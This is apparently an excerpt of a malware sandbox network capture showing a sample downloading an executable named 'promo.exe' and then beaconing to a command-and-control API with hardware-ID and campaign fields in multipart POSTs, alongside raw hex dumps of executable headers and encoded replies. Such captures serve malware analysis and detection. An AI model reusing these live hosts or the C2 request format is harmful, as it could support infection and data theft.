00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELeePj@`jt)@m`0j$a n@.rsrcj$0~@.idata `@ ;p@jebeytzk$pE$@ukznpftbPjd)@
Dec 6, 2023 14:34:53.926654100 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:34:53.926750898 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:34:53.926791906 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2023 14:34:53.926841021 CET	1340	IN	Data Raw: e8 84 b7 5c f9 08 99 12 e7 8f e5 7b 3a a9 6b 01 db 05 fb 14 a8 46 b4 f1 1f 63 08 e8 cf 8e 38 d1 1b ad ef cb fb 9f f7 cc 10 40 3b ab b3 e7 f6 35 fe 16 03 ad f8 d6 e3 27 13 92 d4 e2 08 0b c4 e1 d9 89 1d 83 c5 e9 7c 3e 62 dd e6 f2 ba 1a 17 4b ed 64 Data Ascii: \{:kFc8@;5'\|>bKd9~"a0$(v+&C9Bn3`!z\n 08H _X[kZW$awcQzm4D-i5dEbm$K:V43q
Dec 6, 2023 14:34:53.926879883 CET	1340	IN	Data Raw: af ab 1d 5b d8 a6 a7 70 e2 b4 f6 3f e7 cf 66 1b ac 21 9c a8 22 6c fc 9e 03 28 3c 22 a9 b4 fd 97 8f 60 4e 5e 80 9c 81 91 7d e3 47 aa 82 65 83 e9 a8 9c 81 7d bc df dd 4d 4c a0 96 19 92 df 08 97 1f 32 ab 4e df e5 46 6f 68 ed b0 6f e7 91 07 70 24 59 Data Ascii: [p?f!"l(<"`N^}Ge}ML2NFohop$Ykf:qa}LZprf$8{6w7A'(--zngCchJ@I`3u'#@c$YqBG@&/mk+0J'wR}A
Dec 6, 2023 14:34:53.926928997 CET	534	IN	Data Raw: 4e 96 be 9e 2d 0f 7e 1d fe bf c1 35 c3 a9 61 d8 fe 17 e0 bf 35 08 4f e9 cd fd 5f 17 ce 78 2d f1 83 12 5f c0 ce f8 cc c1 4a 2b 07 cb f9 12 e4 fe 21 40 32 54 d1 37 ca ab 17 32 1b 94 40 07 f8 dd 5a 92 5e 73 06 86 63 7d ef 7e e1 16 6e f5 9a a4 19 78 Data Ascii: N-~5a5O_x-_J+!@2T72@Z^sc}~nx=5)Yg'5\| ]6{D{~6MP1U&q?w>$4WvGqdRwW/KNC@rCgKXM>:"D
Dec 6, 2023 14:34:53.926968098 CET	1340	IN	Data Raw: 85 11 1e e8 5d 0a 1b 34 48 d9 e6 8c 3c 09 1e 42 09 eb e7 e3 c3 a6 27 fa fd d5 5a d7 a4 a8 1c 25 12 0d 23 83 f6 2d 03 20 e5 8d 5b 1a 09 9d 88 9c d7 cc 3a dc 5c 0d 2b b5 d7 7f 67 dc 6d d0 3a de 57 3d 0a 28 5d 2d 2b da 9d 00 5b d9 f6 e7 97 35 95 d6 Data Ascii: ]4H<B'Z%#- [:\+gm:W=(]-+[5nf*hmi~N- )FK]A+"+s8A;0L(c{8].wHw:>n[<5NUcG_mXuydyR#[7&Q_]
Dec 6, 2023 14:34:53.927006006 CET	1340	IN	Data Raw: be 93 51 f6 5e d8 f9 a6 55 e5 e5 be 9c 08 30 b4 7d b2 06 99 79 d7 ed 76 b6 f2 5b 41 7e 2e 89 7d df 3c 31 da 68 ce 0e f5 10 58 42 bf 43 b5 69 56 26 3f f2 ac 3a e8 91 c4 6c 9a 7a 8c af ee 84 3f 77 9c db 44 55 d7 17 28 d4 18 58 9d cc f3 b0 49 a1 be Data Ascii: Q^U0}yv[A~.}<1hXBCiV&?:lz?wDU(XI,k'`?l~[~r!fY_(#L;O``CRk5cnm5:zGqp:lD]e%JEo gLplE1()2;:
Dec 6, 2023 14:34:53.927051067 CET	1340	IN	Data Raw: 66 c1 2e 14 ff f8 e4 28 4c 0c c2 b4 57 6e 21 57 af a3 83 c7 be ba e7 25 71 ce ee d3 a6 6d 33 9a 1f 90 f5 a0 a5 40 52 ef 3f 78 58 b5 c6 ad 4a 90 b7 1c 3f 5b ae c4 d3 60 f3 05 83 b6 62 c6 8b da 3f 09 71 90 cf af 3c 97 57 65 af 14 58 92 9c a7 e4 64 Data Ascii: f.(LWn!W%qm3@R?xXJ?[`b?q<WeXdl?oqGu" EatZ%\|$&&_\z N@[@c:S-\%;MUPSB #-NSpE-{
Dec 6, 2023 14:34:54.106959105 CET	1340	IN	Data Raw: bf f3 73 93 33 c1 77 54 eb e0 da 4e 8a be 1e 86 b8 73 fd 55 84 26 b0 5d e4 18 8a aa 34 96 5f 71 67 49 a6 f3 ee 06 15 e3 c1 85 33 2a c5 d9 30 9d a0 25 35 78 c9 02 38 4e 68 c6 5d fe a8 aa fb 41 70 6b 78 92 de 88 16 54 26 5d 74 e0 de 0f df 8d 03 7f Data Ascii: s3wTNsU&]4_qgI30%5x8Nh]ApkxT&]t{V/'9^px'ryx3a\"Huu\|^&+VI^\|jrIWq^75GAc94YRO]^*Y\|_
Dec 6, 2023 14:35:39.174212933 CET	146	OUT	GET /archives/7 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.5 Host: mysoftwareusa.info
Dec 6, 2023 14:35:39.471856117 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:35:39 GMT Content-Type: application/octet-stream Content-Length: 2590208 Connection: keep-alive Content-Disposition: attachment; filename=promo.exe Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 d8 8f fd b9 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 bc 04 00 00 38 03 00 00 00 00 00 00 c0 51 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 51 00 00 04 00 00 35 46 28 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 20 08 00 95 00 00 00 00 e0 04 00 56 35 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 21 08 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 04 00 00 20 00 00 00 d8 01 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 56 35 03 00 00 e0 04 00 00 f4 02 00 00 f8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 20 08 00 00 02 00 00 00 ec 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 26 00 00 40 08 00 00 02 00 00 00 ee 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 77 64 61 69 6f 6e 6e 00 a0 22 00 00 20 2f 00 00 94 22 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 67 70 69 75 76 69 00 20 00 00 00 c0 51 00 00 02 00 00 00 84 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PEL08Q @ Q5F(@m V5! @.rsrcV5@.idata @ &@@nwdaionn" /"@xkgpiuvi Q'@

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	50196	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:05.037519932 CET	318	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:05.037570000 CET	62	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 6, 2023 14:35:05.392143965 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=in6su9fmq3toujtgj525f3bpan; expires=Sun, 31 Mar 2024 07:21:44 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PsZ7hv0im8qBjqZ5VmXvT2AXW0x8LnU5YkqwNkolAfFjSwDT6hkvJRG8AHLKfsRHFpxked%2FEAGxSVAFSSJH4XVLF2UJr1Gb5eteknGLizOooljzmaOyXx1m%2BNR%2FgOj%2FWVwvT%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.392167091 CET	104	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 38 66 38 62 64 37 35 32 64 31 37 2d 49 41 44 0d 0a 0d 0a 32 0d 0a 6f 6b 0d 0a Data Ascii: loudflareCF-RAY: 8314e8f8bd752d17-IAD2ok
Dec 6, 2023 14:35:05.392180920 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 6, 2023 14:35:05.393985033 CET	319	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 72 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:05.394021988 CET	126	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 4d 65 44 4e 4e 31 26 6a 3d 65 32 31 31 30 62 33 32 32 35 31 39 31 34 66 36 63 31 30 36 30 34 64 35 31 62 38 39 66 37 61 61 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=MeDNN1&j=e2110b32251914f6c10604d51b89f7aa&ver=4.0
Dec 6, 2023 14:35:05.666970015 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=q7g8hbqrhts7oapc1jm8g8k8fc; expires=Sun, 31 Mar 2024 07:21:44 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=smlgbd%2FwCZyMVqCuAFR6BO9lwIefiZyNkdx5yAEg3wZkk2kZiOuUdqbMIpMlUW3W8bkfUx%2FDccEHvdlVbyRK8lQANiRdDGFAQxfz5eTjlMUZkdeUoJhhLm4aTylQbREPeD1AsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:05.667016029 CET	626	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 38 66 61 66 66 66 32 32 64 31 37 2d 49 41 44 0d 0a 0d 0a 32 31 30 0d 0a 37 44 47 43 6e 76 38 50 6e 59 62 44 32 50 4f 76 66 64 64 6d 44 66 6f 64 79 46 36 65 31 6b 69 52 6d 68 58 59 64 56 30 58 Data Ascii: areCF-RAY: 8314e8fafff22d17-IAD2107DGCnv8PnYbD2POvfddmDfodyF6e1kiRmhXYdV0XPKKXE/S8xTuxpLC90ZUbtgp+nzHqP/r0cuXoYL1Zf3JEgNZq+byaYb+84b2ZzRy7BGyRcrgy/b4k9vJwuxE8e1HHiVTj9JFm8O6u+t+NGK1EN9hQrSr/myni8TelWSY1WczOC6DwlG307qW6lsAatgNslXigMvuwJ
Dec 6, 2023 14:35:05.667051077 CET	1340	IN	Data Raw: 34 61 32 30 0d 0a 44 62 6b 43 59 70 35 33 75 48 79 79 39 43 33 72 75 43 2f 36 4e 7a 52 35 58 63 79 50 56 4b 4c 64 6c 32 37 30 36 4f 4f 50 6b 73 4d 52 73 68 49 76 68 7a 47 7a 66 50 75 34 61 71 75 34 63 37 34 62 50 33 4a 51 78 49 68 65 35 2f 65 51 Data Ascii: 4a20DbkCYp53uHyy9C3ruC/6NzR5XcyPVKLdl2706OOPksMRshIvhzGzfPu4aqu4c74bP3JQxIhe5/eQZ/joqLKazRO6B2mQdK029L4p+/g39Fc4bR6Yzmjt7JBmv/vvo9HKE/VcL5B/rD/xtSb083yxGzB9XsiAVuPyl2z46qS6lsUQuQ9p2DHqO+T0crPUfL4BJDVBjpcT5/DdNb/npbqQzRenBH2cfKwy9bsg/Pl5sB44c
Dec 6, 2023 14:35:05.667087078 CET	1340	IN	Data Raw: 45 72 73 4c 61 5a 42 79 70 6a 66 79 76 53 7a 7a 2b 58 33 36 57 58 39 79 52 6f 44 57 45 39 44 2f 6e 57 33 6b 70 4c 37 30 69 49 30 59 75 55 51 33 32 47 32 67 4e 66 79 33 4a 66 54 38 66 4c 59 53 4f 6e 70 64 79 59 74 61 37 75 36 55 59 2f 66 73 72 72 Data Ascii: ErsLaZBypjfyvSzz+X36WX9yRoDWE9D/nW3kpL70iI0YuUQ32G2gNfy3JfT8fLYSOnpdyYta7u6UY/fsrr+azRK/CG+bP+R8+6xqq7hFtxspclGAkR35vJphv7zhvZXNGrsBYpxyoS7utC/y8HCoGzV+Xs6NWOD9kWzx4aj6340YrUQ32FCpLOq/Kf+4aPQOf3JSgNYT7PCYbPjlqLqS3xi1AGSXc6Qw978h8PJ+uRs5dFDAgFO
Dec 6, 2023 14:35:05.667123079 CET	1340	IN	Data Raw: 35 79 71 7a 50 39 74 43 58 33 38 33 36 38 46 6a 4a 77 55 38 53 63 57 65 76 7a 6b 57 54 7a 36 65 48 30 30 63 6f 48 39 56 77 76 71 58 4b 6b 4d 76 75 69 61 75 79 32 62 76 6f 51 4d 7a 55 47 67 49 39 66 37 2f 2b 53 62 76 7a 6c 71 36 69 44 77 52 61 39 Data Ascii: 5yqzP9tCX38368FjJwU8ScWevzkWTz6eH00coH9VwvqXKkMvuiauy2bvoQMzUGgI9f7/+Sbvzlq6iDwRa9AWOTcawu+rsj8Pt+vR8zf13Hzh2g+4Utp6SCrYHAX6pKdth4pnyk9CL+8H2+EDJyWMmcWuXynWn066e+ks0NswBnm3KnMv+war24cKJXZzVszYBI7/uMZ7/776PRyhP1XC+ccbg3/b8h/f94vx0/elrDgFjh/5Vg8
Dec 6, 2023 14:35:05.667160034 CET	1340	IN	Data Raw: 2b 6a 4f 7a 2f 33 76 36 54 33 39 35 55 4d 57 4f 57 65 62 34 6d 47 76 31 34 61 47 78 6b 73 49 62 73 77 42 67 6d 48 53 6a 50 66 71 78 49 50 6a 2b 65 72 6b 52 4f 54 55 51 67 49 6c 4c 6f 4b 54 64 54 65 54 70 72 62 33 52 30 6c 47 73 52 47 69 55 50 2f Data Ascii: +jOz/3v6T395UMWOWeb4mGv14aGxksIbswBgmHSjPfqxIPj+erkROTUQgIlLoKTdTeTprb3R0lGsRGiUP/J897gu9Ph6uR86cVTFjlvy9J1q7fahs5TBHLUAaZF5qTi8+mr04DfiVxJ5WemJSKDj03S/4636yY0evg5glXysP/exIPL/f7cFPHpRxI5c5vqcYvnjqLuZyl/7RGiAP/J80rMp97ho9A5/clKA1hPl/5pr8Oynvp7
Dec 6, 2023 14:35:05.667201996 CET	1340	IN	Data Raw: 6d 36 45 6a 68 34 55 4d 61 4a 55 4f 6a 34 6e 47 50 7a 37 71 4b 2b 6b 6f 31 52 39 51 4e 33 32 43 66 71 44 66 2b 77 4c 63 48 37 65 66 67 77 4a 57 4e 5a 7a 4a 39 59 37 66 44 66 57 50 7a 71 72 37 32 48 6a 51 44 37 48 53 2b 66 63 2b 70 6b 76 4c 38 73 Data Ascii: m6Ejh4UMaJUOj4nGPz7qK+ko1R9QN32CfqDf+wLcH7efgwJWNZzJ9Y7fDfWPzqr72HjQD7HS+fc+pkvL8s//R3vAUxekzKnFfu+JFj9umuv4PJH6cFap9xpy759GSz/2/6T39PSseeQue+qG7x6qas0dJRrERolD/yfO6mKvj4cLQFPn1Ryo5V6/aeZPvqqLyQwB60BGqYdrgxvPpq9OA34lcIeVXxjUWiyZ5j8eO3+o6DBvUDY
Dec 6, 2023 14:35:05.671864986 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:05.932383060 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=5h5rb7u1qdoctiejl04d7etg6m; expires=Sun, 31 Mar 2024 07:21:44 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:05 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SL2Ljo7ciWgQktI2c%2BL9%2FYV79JrC06l0h9PJWjaBPG%2Fj%2BlWC7f8VBunRbkPh9aK5OqhLXxe9%2FQV1Gj7p2VilVuj%2Fb8Pw7NcSqarb9pGIXEy5zrWmXaFvF0o6esGpm4MJc8HtRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	50197	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:06.031069994 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:06.031265020 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:06.382798910 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=6bb9stssfd2ofnrgjj4irr1e8c; expires=Sun, 31 Mar 2024 07:21:45 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kiC53MyAftrA0PXbtIrYHYG%2FwAvBiGmeqBDVmZXo5BkulUjl9xpCOQsCgT1GNcrL4XRXgoVt0FSLu0NHOKMlnOQ0bMMgPrdMVTJ41uwHG244l6t%2BbN3PP9zFyn1WQ0G%2FfgwwoA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.382837057 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 38 66 65 65 64 39 38 30 38 32 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e8feed98082e-IAD15Malformed packet data
Dec 6, 2023 14:35:06.382870913 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	50198	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:06.485714912 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:06.485888004 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:06.849319935 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=odbbia2upndmt2oqtrfvg76b5a; expires=Sun, 31 Mar 2024 07:21:45 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:06 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 